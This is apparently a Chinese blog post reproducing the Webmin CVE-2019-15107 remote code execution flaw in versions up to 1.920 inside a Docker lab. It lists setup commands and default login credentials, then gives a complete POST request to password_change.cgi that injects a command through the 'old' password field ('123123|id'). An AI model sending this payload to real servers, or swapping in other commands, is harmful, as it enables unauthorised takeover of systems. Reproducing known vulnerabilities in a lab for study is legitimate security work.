0x00 前言
本来前一阵就想复现来着,但是官网的版本已经更新了,直到今天才发现Docker上有环境,才进行了复现
0x01 影响版本
Webmin<=1.920
0x02 漏洞概述
Webmin是一个基于Web的界面,用于Unix的系统管理。使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等。
2019年8月10日,在pentest上发布了Webmin CVE-2019-15107远程代码执行漏洞。
该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码,该漏洞的存在实则是sourceforge上某些版本的安装包和源码被植入了后门导致的。
0x03 环境搭建
1 2 3
| docker search webmin docker pull piersonjarvis/webmin-samba docker run -d -p 10000:80 piersonjarvis/webmin-samba
|
访问你的ip:10000即可访问1.920版本的webmin
使用账号密码:root/webmin登录到后台
开启密码重置功能:
Webmin–Webmin confuration–Authentication
0x04 漏洞利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /password_change.cgi HTTP/1.1 Host: 136.244.xx.xx:10000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://136.244.xx.xx:10000/passwd/index.cgi?xnavigation=1 X-PJAX: true X-PJAX-Container: [data-dcontainer] X-PJAX-URL: passwd/edit_passwd.cgi?user=root X-Requested-From: passwd X-Requested-From-Tab: webmin X-Requested-With: XMLHttpRequest Content-Type: text/plain;charset=UTF-8 Content-Length: 49 DNT: 1 Connection: close
user=laemon&old=123123|id&new1=123456&new2=123456
|
最终执行命令成功
参考文章:
https://paper.seebug.org/1019/